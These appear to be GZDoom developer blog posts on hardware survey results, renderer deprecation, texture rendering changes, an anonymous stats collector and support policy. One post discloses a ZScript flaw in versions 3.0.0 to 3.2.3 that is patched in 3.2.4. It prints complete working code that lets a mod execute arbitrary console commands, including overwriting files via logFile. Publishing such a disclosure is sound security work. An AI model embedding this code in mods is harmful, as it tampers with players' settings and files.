Blog

Roughly 2000 users have reported by now, here's the first preliminary results:

67% use Vulkan compatible hardware
17% use hardware which can run OpenGL with all features enabled
12.6% can run the modern render path (i.e. they are OpenGL 3.3 compatible)
3.4% run the legacy (OpenGL 2.x) render path.

3.3% use a real 32 bit system.
There really was 1% of users which only ran the legacy build on modern hardware!
2.7% use a Mac
6.3% use Linux
3.3% used a real 32 bit system
5 users reported Windows XP

So what does this mean?
Obviously for Mac and Linux the numbers are still too small to make any conclusions why they have changed.

Overall, Vulkan capability went from 57% to 67% in a mere 4 months! I think this trend is more than obvious.
Non-Vulkan but modern OpenGL-capable cards went from 34% to 29%, unfortunately this wasn't split like here in the old survey so it's hard to say how this really developed.
This is even more obvious for real legacy hardware which was nearly halved in user share over the last couple of months.

I believe the trend this shows is very evident: The legacy segments are declining rapidly. I am quite certain that, if we do another survey at the beginning of 2019, after this year's Christmas business has run its course, that OpenGL 2.x will have been reduced to a little more than background noise, and this should be a clear warning to anyone still running such hardware: Support for this will end rather sooner than later. The same may be true for 32 bit. This has also nearly shrunk in half over the last 4 months.

I think dpJudas had the best explanation in the previous thread, so to prevent this from getting lost, I am reposting it here:

dpJudas wrote:

Sgt. Shivers wrote:Just wondering, why can't the screen be scaled with the options menu anymore? Is there something stopping the window being set for size with the new system or is it just temporarily being taken away while the resolutions are put back in?

The old video list was removed for several reasons:

1) The list was queried from the display driver. A concept utterly obsolete and in practice a hard-coded list in the display driver. Legacy resolutions like 1024x768, 800x600, which all were incorrect as the hardware doesn't actually support any of those resolutions. Modern display technology only supports one resolution as they aren't CRT displays.

2) Asking the typical user about the full screen resolution is bad UI as the answer in 99.95% of all cases is.. the actual monitor resolution. Why do you think modern newer games just ask you if it should be fullscreen + a scale factor. Apparently not only are we idiots based on the feedback, the entire gaming industry seems to be so!

3) The code was very old, included broken obsolete concepts like the LB modes that no longer made sense (the general scaling system in GZDoom handles this via other settings for a while now). It also conflicted with #2 as it required the user to make a pointless obscure decision for the majority of users.

4) The newer scaling code actually supports selecting specific resolutions. This made the old video selection code redundant. The list of options currently is pretty small, but it is trivialto add more to that list.

5) OpenGL doesn't support exclusive full screen mode changes. What we had was always a hack. Due to #3 it meant any user that selected full screen would get their desktop icons rearranged. That really sucked!

Half the feedback currently seems to come from people that have no idea what scaling features GZDoom actually has, nor puts much consideration into why we are trying to adjust the menu in the first place.

It seems like we could use some way to specify specific windowed geometry sizes, as apparently some used that feature in the old video list. That's more or less the only useful conclusions I've been able to draw from this so far.

It should be noted that plans are in place to have vid_setmode make a comeback in the newer devbuilds, but it is yet to be fully implemented on Mac and Linux.

If you use Raspberry Pi, please note the following with the 3.4.x releases:

With the 2D refactor, running in pure software mode simply is not playable on the Pi, anymore. However it will continue to be supported because running it on the VideoCore4 GPU chipset works, for now. Please note that Pi boards that are revisioned 2 or 3 are the only ones currently supported - you can run GZDoom on a Pi 1 but you must make some compile tweaks and it is not officially supported right now. (In other words - you're on your own!)

I should mention that none of this is officially supported by the Raspberry Pi Foundation as of yet - as is repeatedly said, "do this at your own risk" - the drivers for VC4 are still being perfected as of this writing. No one but you (not me, not the rest of the GZDoom team, not the Raspberry Pi foundation, not your distro's distributor, and not your seller) takes any responsibility, should anything go wrong if you follow these instructions.

To activate it - first, make a backup copy of your /boot/ folder and store it somewhere safe. This contains configuration settings as well as your current firmware.

Then, you must do the following (assuming you have a Debian variant - Raspbian has these tools pre-installed):

Code: Select all • Expand view

sudo apt-get install rpi-update raspi-config

Let the packages install, then run:

Code: Select all • Expand view

sudo rpi-update

This will update the firmware (and the kernel) that you are currently running, and will install new drivers.

You must reboot. Then you can run:

Code: Select all • Expand view

sudo raspi-config

This will allow you to configure hardware acceleration. Note that for now, I've only gotten "fake KMS" to work - use "full KMS" at your own risk!

You may be required to reconfigure your monitor or television's characteristics using "sudo nano /boot/config.txt" after doing these commands.

Be aware that running X11 with any acceleration at all is glitchy - but it is most definitely usable and errors are rarely fatal. (Most of the worst ones have been solved, even recently)

Note that 3.4.x will be the last mainline series that will run on the VideoCore4 chipset. More details will be coming in the future for alternatives that will be available.

If you have been asking yourself, what's in store after having gotten some info about the installed hardware base of our users, here you will find some answers.

The most important thing is, that 6% of our users are still using OpenGL 2 hardware, so for the time being support for that is safe. Don't expect support for new features, though, because that will focus on modern graphics hardware as is owned by the vast majority of GZDoom users.

Things are more interesting on the software renderer. The survey has only 17 out of 5700 users reporting use of the pure software renderer. 5 of these are on Linux which currently suffers from too high hardware requirements for its hardware accelerated 2D for software rendering.
The numbers also showed clearly that the vast majority of software renderer users have hardware that is good enough to run the hardware renderer. The amount of users where the reported data about hardware rendering support is not clear enough is roughly 1% of all reporting users, but extrapolating from the rest of the data it should be a safe assumption that roughly 75% of these do have good enough hardware.

To summarise the above two points, it means that only a tiny fraction of significantly less than 1% may be running the software renderer on hardware old enough to not support OpenGL 2.0.

For those few in this group, I'm sorry to say, but that low number does not justify keeping support for a feature that has serious implications on code maintainability, so for the 3.4 release the backend code for the software renderer will be cleaned up and consolidated. The minimum requirement for GZDoom in both software and hardware rendering mode will now be OpenGL 2.0.
The SWGL, DirectDraw and Direct3D backends will be removed and all hardware access for software rendering be provided by the hardware renderer.
This means that instead of 4 render backends with wildly differing feature sets there will only be one, which will greatly simplify work when adding new features. An added advantage of such a setup is that the renderers can be switched live during gameplay without the need to restart the engine. A working branch for this can be found on the Github repo, it's not complete yet but should work on OpenGL 3.3+ hardware. Making this work on OpenGL 2 is still under development.

I already posted a few numbers on the news thread, but I am certain that some people may be very interested about the results.
We now hit the number of 900 distinct users reporting, so here's a quick rundown of the interesting stuff:

6 users reported using Windows XP - that's actually a lot lower than we would have expected!

85 users have reported data for the software renderer.
870 users have reported data for the hardware renderer.

13 users run the software renderer on a 32 bit system.
14 users run the software renderer with the 32 bit EXE on a 64 bit system (An important note to these: The 64 bit software renderer is considerably faster on your system!)

39 users run the hardware renderer on a 32 bit system.
98 users run the hardware renderer with the 32 bit EXE on a 64 bit system (If you do so, we'd appreciate some feedback. If there is a performance issue, please update the graphics driver.)

49 users run the hardware renderer in legacy (OpenGL 2.0) mode
287 users run the hardware renderer on OpenGL 3.x and 4.x capable hardware
534 users run the hardware renderer on Vulkan capable hardware. (The number may be higher, because there is no easy way to detect Vulkan support on Intel graphics, it can only be done quickly on NVidia and AMD.)

3 users run the software renderer without the hardware accelerated 2D elements
0 users run the software renderer on ancient cards which only support Shader Model 1.4

Needless to say, the biggest surprise here is that the vast majority of 32 bit downloads is actually being used on 64 bit systems. Anyone doing this should really reconsider, and if there's legitimate performance issues, try to solve them. The 64 bit version should run significantly better on such a system, if that system is properly working.

I am making this post to point to some potential breaking changes I had to make in order to fix this feature.

Recently I decided to fix the mess that is 'RenderStyle "Shaded"' (a.k.a. alpha textures)
For those who do not know, this is the style which gets used for blood and scorch mark decals.

A long standing problem with this style has been its poor and inconsistent implementation. Depending on what type of texture was passed and what renderer was active it either worked or did not - in an entirely unintuitive manner. The original software renderer's implementation never went beyond the barest necessities to make shaded decals work, and this never got changed when the feature was extended to a true render style.

The OpenGL hardware renderer has always been able to handle this properly for grayscale textures and produced ok results for other non-paletted textures. It was merely ok for those, because for true color textures the red channel was mapped to alpha, which not only is not the brightest one (that'd be green) and it'd produce bad results for anything with low red content.
The same hasn't been true for the software renderer. This style only worked there correctly when using either IMGZ or grayscale PNGs that got tagged with a custom 'alPh' chunk.
It got even worse with paletted formats like Doom patches. In this case it completely ignored the colors and treated the image's content as a grayscale ramp, but did not consider that the texture manager remaps color 0 to reserve that index for transparency.

Needless to say, with something this inconsistent and seemingly broken by design, the feature was basically reduced to its original use case, i.e. shaded decals and crosshairs and never got beyond that.

I always stayed away from fixing this because I knew that a) it would be a lot of work and b) might have an impact on older mods that depend on the broken semantics here.
Fixing this to behave in a sane fashion would inevitably break any old mod that uses a Doom patch for a decal, unless some countermeasures were implemented.

I finally did some checks of available mods to see what I am up against by checking the entire /idgames content for use of undefined side effects of the old implementation.
The result of this was: roughly 140 patch textures were used for decals over the years, the most recent ones dating back to 2011 and two IMGZ textures that use this format for a color texture.
The most important affected mod is Beautiful Doom whose decals got reused by several other mods, making proper treatment for these a necessity.
The major part of the rest of these 140 textures comes from two mods (njol.wad, njbgpabh.pk3) which merely reused some old, already existing data. Aside from these three mods and the reused Beautiful Doom content, there were only 5-10 affected graphics.

With this amount it was doable to implement a checklist for the affected textures and then fix all those design problems here, which is what I did over the last week.
With the rewritten code, render style "shaded" will now always mean 'take the grayscale value of each pixel and use it as alpha with the current stencil/fill color'.

This implies some important changes to how textures behave:
1) IMGZ will from now on be treated as a grayscale-only format and be considered deprecated. Please discontinue using this format if you still use this for anything else but decals and crosshairs!
2) Doom patches will always be treated as a paletted image, even when being used as an alpha texture. This means that any mod still using such patches (aside from the known ones from Beautiful Doom) will display broken shaded decals! Again, please discontinue using patches for shaded decals, if you still do this.
3) It is no longer necessary to tag alpha PNGs with an 'alPh' chunk. In fact, this will not be checked for anymore by the texture manager.
4) If an image works as alpha texture in one renderer it will now work in all. All those crosshairs from Project Brutality, for example, that were broken with OpenGL 2.0 will now be displayed correctly. So no more trouble with badly prepared graphics that depend on how the renderers implement the feature

So how to deal with this:

1) If you make decals, use a graphics format that gives you full control over the colors like PNG - although JPG may also be an alternative for larger decals now.
2) Known images that use a format incorrectly will be flagged through a list of MD5 hashes to switch from color to grayscale (for patches) or from grayscale to color (for IMGZ.)
3) If you find some old mods with broken decals, please make a bug report pointing to that file. They will be added to the internal exception list then.
4) Note that 3) only applies for released mods as of March 2018! To consider adding something to the exception list, there must be some public link to the file. We cannot and will not extend this list beyond what is needed for backwards compatibility. For WIP you will have to switch to PNGs.

While some people may cry foul over some old feature being altered in a way that might affect a few mods let's not forget one thing:
Due to the messy and inconsistent implementation I have found far, far more decals in /idgames that were plain and simply broken because modders did not properly adhere to the very specific limitations. So by removing those limitations it can be expected that in future mods there will be less bad definitions.

In the end the choice was to do the lesser of two evils. Either keep the feature broken and mostly useless forever or fix it and deal with some potential issues in a very small number of old mods. Most mods using decals were made long after PNG became the image format of choice for ZDoom modding and will not be affected. In fact, a few mods that did not use the feature properly may now even work better than before.

One thing both myself and Graf have been working on is a stats collector. We wanted to make sure we had a working implementation before unveiling it.

What is it?

This is a little mini background function that runs at the start of GZDoom which will send us some very generalized anonymous statistics about the hardware it is being run on.

Why are you doing it?

The purpose of this is to allow us to make informed decisions about hardware deprecation - i.e. if it is time to move on from OpenGL 2.x, whether to drop support for 32-bit processors, how viable a Vulkan engine will be at this point, etc. This is to avoid blindly making decisions about deprecating hardware or making assumptions about it without knowing how many people it will actually affect.

How often does it run?

Depends on how much you wipe your config. If you tend to hold on to your config like most people do, only once per renderer. So it will run the first time you run in Software mode, and the first time you run in OpenGL.

I don't have internet. Will GZDoom still run?

Yes. This little process was very specifically designed to be non-intrusive and, if it cannot find the server it will save its statistics info for next time. It only attempts one connection before it gives up, and GZDoom will run in the foreground while this is happening. The whole thing has absolutely no interaction from the user and it should not even cause the game to stutter. It's also a quick-fire - i.e. attempt it, and it's either successful or not, but either way it's done.

But my privacy!

This was very specifically designed in such a way that there is absolutely no way we can personally identify you. At worst, you'll have an entry in our web server's access log. Big whoop - guess what, you leave plenty of those entries no matter where you go on the web! Anyway, outside of very non-identifiable statistics about your hardware, no personally identifying information is ever collected or sent. We won't even know what wads you're running. We won't even know if you used Doom or Doom 2. Or Heretic. Or Strife. It doesn't even tell us that. All we'll know is there's yet one more person who has a dual-core processor and still running OpenGL 2.something on Windows 10 32-bit, we can't even tell if it's 2.0 or 2.1. We won't even know how much RAM you have.

What info does it send?

To be very specific, it only sends the following information:

Operating System Type: (GZDoom picks only one of the following)
XP (or older)
Vista/7/8/8.1 32-bit
Vista/7/8/8.1 64-bit
Win10 32-bit
Win10 64-bit
A special case if you're using WOW64 (you downloaded 32-bit but you're using a 64-bit OS)
Mac 32-bit
Mac 64-bit
Linux/BSD 32-bit
Linux/BSD 64-bit
Linux/BSD ARM
Linux/BSD PPC

Processor Cores: (GZDoom only picks one of these)
Single, Dual, Quad, Hexa, or Octa (or higher)

Renderer Type: (GZDoom only picks one of these)
Software (No HW2D)
Software (Legacy Direct3D, SM 1.4)
Software (Modern Direct3D, SM 2.0 or later)
Software (OpenGL)
OpenGL (Legacy <3.3)
OpenGL (Modern >=3.3)
Using OpenGL (but has Vulkan Support)

While it is definitely true that some bugs and features take precedence over others, depending on an individual developers' preferences, I am getting a *LOT* of people asking me "is X and Y okay to post on the forums?"

The universal unconditional answer to that is: Yes. Post it. No matter what, just post it. Please don't ask me if it's okay to post it - you are given forum permissions with the expectation that you will use them.

You might fear being judged or looking dumb in doing so. But your own fear is what's holding GZDoom back - no one will judge you, and the worst thing that can happen is you being as vague as possible - don't do that. Give as much detail as you can with the issue, and you're fine.

The main reason why an issue is closed and rejected is because the solution is incompatible with GZDoom's overall current goals - which again, we do not judge you for.

For bugs, we need steps to reproduce, what your hardware and operating system specs are, and all that fun stuff.

For features (including code submissions), we need at least one strong use case, preferably more than one, and your idea has to benefit more than just your own mod.

If you feel like your issue is being ignored, it's not. Keep in mind that GZDoom is a community-powered project with no financial backing, so it may be some time until we get to it. It's not unusual prior to a release for Graf to go through and give a response to and close as many open issue threads as possible with one reason or another.

As I always tell people who ask me about this: It's better to post an issue that gets rejected, than it is to not post something that would've been solved.

[Developer's note: This post has been edited from its original form for clarity]

This post serves as disclosure for an exploit that was recently discovered in ZScript.

The exploit affects all versions between 3.0.0 to 3.2.3, but has been patched in 3.2.4.

The Exploit
ZScript has exposed various features to modders, one of these being the underlying code for the classes powering MENUDEF.
However, the exposure of this MENUDEF code has brought some security concerns along with it.

In MENUDEF, you are able to create menu items that will execute a console command when a user selects them, via the "Command" item.
The code behind this item has a private method named "DoCommand", which is effectively a ZScript version of Zandronum's famous "ConsoleCommand", but without the whitelist.

Normally, you aren't able to make use of DoCommand, as it's private and mostly barred off.
If the item's ZScript class is not "OptionMenuItemSafeCommand", the following checks are made:

• The command will not execute if a menu is not active.
• The command will not execute if the active menu is not an OptionMenu.
• The command will not execute if the Command item does not exist in the active menu (eg, if you created it with new()).

You would expect this to cover the hole pretty well. However, it proved to be trivial to circumvent the above checks.

You could create your own menu linked to ZScript and give it a "Command" item. From there you could modify the Command item's action (the console command it executes) and then proceed to open and close the menu to run the command. The entire MENUDEF file looks like this:

Code: Select all • Expand view

OptionMenu "ConsoleCommandMenu"
{
    class "ConsoleCommandMenu"
    Command "", ""
}
 

And all of the ZScript backing it up is as follows:

Code: Select all • Expand view

version "3.2.0"

class ConsoleCommandMenu : OptionMenu
{
    static void Execute(Name command)
    {
        Menu.SetMenu('ConsoleCommandMenu');
        let desc = OptionMenuDescriptor(MenuDescriptor.GetDescriptor('ConsoleCommandMenu'));
        let item = OptionMenuItemCommand(desc.mItems[0]);
        item.Init("", command);
        item.Activate();
        Menu.GetCurrentMenu().Close();
    }
}

class ConsoleCommand
{
    string Command;
    int    GameTic;

    static play void Execute(string command)
    {
        ConsoleCommandHandler.QueueCommand(command);
    }
}

class ConsoleCommandHandler : EventHandler
{
    private Array<ConsoleCommand> m_Commands;

    static void QueueCommand(string command)
    {
        let cmd     = new("ConsoleCommand");
        cmd.Command = command;
        cmd.GameTic = gametic;

        ConsoleCommandHandler(
            EventHandler.Find("ConsoleCommandHandler"))
                        .m_Commands.Push(cmd);
    }

    override void WorldTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1) continue;

            m_Commands[i].Destroy();
            m_Commands.Delete(i);

            i = -1;
        }
    }

    override void UiTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1)
                ConsoleCommandMenu.Execute(m_Commands[i].Command);
        }
    }
} 

The ZScript code effectively queues up console commands using a custom structure, and executes them by opening and closing the menu after modifying the Command item's action (using the Init() method).
After the above code has been written, all that's left to do for this to be usable is to hook up the EventHandler in MAPINFO:

Code: Select all • Expand view

GameInfo
{
    AddEventHandlers = "ConsoleCommandHandler"
} 

And now we're free to execute console commands at will:

Code: Select all • Expand view

ConsoleCommand.Execute("echo hi!"); 

Concerns
Of course, this brings with it a number of concerns. A very incomplete list of which can be found below:

• A user's settings including bindings, audio volume, player name, colour, etc can all be permanently modified.
• Files on the user's system can be overwritten with the logFile command.

As this exploit has been patched in 3.2.4 to the point of not being able to modify arbitrary files on a user's system, I strongly suggest that you update.

Sample
Attached below is a sample pk3 demonstrating the exploit. Run the sample with a version of GZDoom prior to 3.2.4 and spawn the "Evil" actor to see it in action.

Using old versions of GZDoom is not forbidden - in fact, an entire repository (archive) was made available, more for historical interest but also as a development aid (i.e. bugtracking).

One thing people do not understand, however: Use of these builds is NOT sanctioned nor supported by the development team! Officially we will only offer support for the latest released version. If you have an old version of GZDoom and something breaks - you're SOL until you upgrade. As of this post (may or may not be updated in subsequent releases, but judging by this post's date you should be able to guess what I am getting at), that means no build except 3.6.0 is officially supported. Not even 3.2.4 is supported. 3.2.0 is not supported. 3.1.0 is not supported. 3.0.0 is not supported. 2.2.0 is not supported. 1.8.6 is not supported.

If you need a more up-to-date version of GZDoom that's still supported but offers the old renderer, please consider the ZDoom32 project.

I still see people going around purporting these old versions of GZDoom for general use - if you have issues with the newer versions of GZDoom, it does not hurt to file a bug report. We also have a troubleshooting forum that you can use if you have less bug-related but more technical-related problems.

I will make this very clear: Using old versions of GZDoom, QZDoom, or ZDoom is highly discouraged!